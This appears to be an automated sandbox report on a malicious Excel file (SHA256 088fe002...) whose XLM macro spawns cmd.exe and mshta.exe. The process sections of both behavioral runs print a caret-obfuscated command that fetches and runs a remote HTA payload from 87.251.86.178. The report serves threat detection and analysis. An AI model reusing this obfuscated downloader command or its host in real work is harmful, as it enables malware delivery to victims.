Malware Analysis Report

2025-01-22 16:10

Sample ID 241111-wcd7xashkb
Target 088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940
SHA256 088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940

Threat Level: Known bad

The file 088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 17:46

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 17:46

Reported

2024-11-11 17:48

Platform

win7-20240903-en

Max time kernel

122s

Max time network

131s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html

C:\Windows\SysWOW64\mshta.exe

mshta http://87.251.86.178/pp/cc.html

Network

Country Destination Domain Proto
DE 87.251.86.178:80 tcp
DE 87.251.86.178:80 tcp

Files

memory/3012-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/3012-1-0x000000007222D000-0x0000000072238000-memory.dmp

memory/3012-11-0x000000007222D000-0x0000000072238000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 17:46

Reported

2024-11-11 17:48

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

140s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3640 wrote to memory of 1808 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3640 wrote to memory of 1808 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 1808 wrote to memory of 4744 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 1808 wrote to memory of 4744 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html

C:\Windows\system32\mshta.exe

mshta http://87.251.86.178/pp/cc.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
DE 87.251.86.178:80 tcp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 24.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp

Files

memory/3640-5-0x00007FF971250000-0x00007FF971260000-memory.dmp

memory/3640-4-0x00007FF971250000-0x00007FF971260000-memory.dmp

memory/3640-2-0x00007FF971250000-0x00007FF971260000-memory.dmp

memory/3640-1-0x00007FF971250000-0x00007FF971260000-memory.dmp

memory/3640-0-0x00007FF971250000-0x00007FF971260000-memory.dmp

memory/3640-3-0x00007FF9B126D000-0x00007FF9B126E000-memory.dmp

memory/3640-6-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-8-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-10-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-9-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-7-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-11-0x00007FF96F1F0000-0x00007FF96F200000-memory.dmp

memory/3640-12-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-14-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-15-0x00007FF96F1F0000-0x00007FF96F200000-memory.dmp

memory/3640-13-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-20-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-19-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-22-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-21-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-18-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-17-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-16-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

memory/3640-33-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 93199082d8b7137b3ddb9c24148ec5ec
SHA1 de27068caf72d50b0a51ce8738f16f86386fcc21
SHA256 9bcae2bb0631f1009341b1b0da4627a265c6e2a04432197e86771eb95190d6c5
SHA512 d06d24853c77488923450b6578f38e8a112d4146b8b40d94b2a8fe53cd925c4fd8b7a166f256268b3d700e05b09a1f03df7f20fc3faf40c0749da5e86d832f2f